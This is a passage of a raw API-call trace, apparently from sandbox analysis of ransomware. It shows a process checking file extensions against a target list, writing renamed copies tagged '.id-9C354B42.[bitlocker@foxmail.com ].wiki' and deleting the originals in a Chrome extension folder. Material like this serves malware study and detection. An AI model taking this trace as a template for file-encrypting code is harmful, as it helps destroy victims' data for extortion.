4 [0173.888] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".xls") returned 4 [0173.888] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".xlsx") returned 5 [0173.889] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.889] lstrlenW (lpString=".ppt") returned 4 [0173.889] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.889] lstrlenW (lpString=".zip") returned 4 [0173.889] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.889] lstrlenW (lpString=".rar") returned 4 [0173.889] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.889] lstrlenW (lpString=".bz2") returned 4 [0173.889] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.889] lstrlenW (lpString=".7z") returned 3 [0173.889] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.889] lstrlenW (lpString=".dbf") returned 4 [0173.889] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.889] lstrlenW (lpString=".1cd") returned 4 [0173.889] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.889] lstrlenW (lpString=".jpg") returned 4 [0173.889] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.889] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.889] lstrlenW (lpString="messages.json") returned 13 [0173.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.890] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=246) returned 1 [0173.890] CloseHandle (hObject=0x334) returned 1 [0173.893] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0173.893] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.893] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.893] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.893] GetLastError () returned 0x0 [0173.893] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xf6, lpOverlapped=0x0) returned 1 [0173.894] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.897] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.897] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.897] SetEndOfFile (hFile=0x1ac) returned 1 [0173.898] CloseHandle (hObject=0x1ac) returned 1 [0173.898] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.898] SetEndOfFile (hFile=0x334) returned 1 [0173.898] CloseHandle (hObject=0x334) returned 1 [0173.898] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.899] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json")) returned 1 [0173.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.899] lstrlenW (lpString=".doc") returned 4 [0173.899] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.899] lstrlenW (lpString=".docx") returned 5 [0173.899] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.899] lstrlenW (lpString=".pdf") returned 4 [0173.899] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.899] lstrlenW (lpString=".xls") returned 4 [0173.899] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.899] lstrlenW (lpString=".xlsx") returned 5 [0173.899] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.899] lstrlenW (lpString=".ppt") returned 4 [0173.899] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.899] lstrlenW (lpString=".zip") returned 4 [0173.899] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.899] lstrlenW (lpString=".rar") returned 4 [0173.900] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.900] lstrlenW (lpString=".bz2") returned 4 [0173.900] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.900] lstrlenW (lpString=".7z") returned 3 [0173.900] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.900] lstrlenW (lpString=".dbf") returned 4 [0173.900] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.900] lstrlenW (lpString=".1cd") returned 4 [0173.900] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.900] lstrlenW (lpString=".jpg") returned 4 [0173.900] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.900] lstrlenW (lpString=".doc") returned 4 [0173.900] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.900] lstrlenW (lpString=".docx") returned 5 [0173.900] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.900] lstrlenW (lpString=".pdf") returned 4 [0173.900] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.900] lstrlenW (lpString=".xls") returned 4 [0173.900] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.900] lstrlenW (lpString=".xlsx") returned 5 [0173.900] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.900] lstrlenW (lpString=".ppt") returned 4 [0173.901] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.901] lstrlenW (lpString=".zip") returned 4 [0173.901] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.901] lstrlenW (lpString=".rar") returned 4 [0173.901] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.901] lstrlenW (lpString=".bz2") returned 4 [0173.901] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.901] lstrlenW (lpString=".7z") returned 3 [0173.901] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.901] lstrlenW (lpString=".dbf") returned 4 [0173.901] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.901] lstrlenW (lpString=".1cd") returned 4 [0173.901] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 155 [0173.901] lstrlenW (lpString=".jpg") returned 4 [0173.901] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.901] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.901] lstrlenW (lpString="messages.json") returned 13 [0173.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.902] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=264) returned 1 [0173.902] CloseHandle (hObject=0x334) returned 1 [0173.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0173.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.902] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.902] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.903] GetLastError () returned 0x0 [0173.903] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x108, lpOverlapped=0x0) returned 1 [0173.904] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.089] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.090] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.090] SetEndOfFile (hFile=0x1ac) returned 1 [0174.090] CloseHandle (hObject=0x1ac) returned 1 [0174.090] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.090] SetEndOfFile (hFile=0x334) returned 1 [0174.091] CloseHandle (hObject=0x334) returned 1 [0174.091] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.091] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json")) returned 1 [0174.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.091] lstrlenW (lpString=".doc") returned 4 [0174.091] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.091] lstrlenW (lpString=".docx") returned 5 [0174.091] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.091] lstrlenW (lpString=".pdf") returned 4 [0174.091] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.091] lstrlenW (lpString=".xls") returned 4 [0174.091] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.091] lstrlenW (lpString=".xlsx") returned 5 [0174.091] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.091] lstrlenW (lpString=".ppt") returned 4 [0174.092] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString=".zip") returned 4 [0174.092] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.092] lstrlenW (lpString=".rar") returned 4 [0174.092] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.092] lstrlenW (lpString=".bz2") returned 4 [0174.092] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.092] lstrlenW (lpString=".7z") returned 3 [0174.092] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString=".dbf") returned 4 [0174.092] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString=".1cd") returned 4 [0174.092] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString=".jpg") returned 4 [0174.092] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.092] lstrlenW (lpString=".doc") returned 4 [0174.092] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.092] lstrlenW (lpString=".docx") returned 5 [0174.092] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.092] lstrlenW (lpString=".pdf") returned 4 [0174.092] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.092] lstrlenW (lpString=".xls") returned 4 [0174.092] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.093] lstrlenW (lpString=".xlsx") returned 5 [0174.093] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.093] lstrlenW (lpString=".ppt") returned 4 [0174.093] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.093] lstrlenW (lpString=".zip") returned 4 [0174.093] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.093] lstrlenW (lpString=".rar") returned 4 [0174.093] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.093] lstrlenW (lpString=".bz2") returned 4 [0174.093] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.093] lstrlenW (lpString=".7z") returned 3 [0174.093] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.093] lstrlenW (lpString=".dbf") returned 4 [0174.093] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.093] lstrlenW (lpString=".1cd") returned 4 [0174.093] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 155 [0174.093] lstrlenW (lpString=".jpg") returned 4 [0174.093] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.093] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.093] lstrlenW (lpString="verified_contents.json") returned 22 [0174.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.094] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11221) returned 1 [0174.094] CloseHandle (hObject=0x334) returned 1 [0174.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json")) returned 0x2020 [0174.094] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.094] CreateFileW 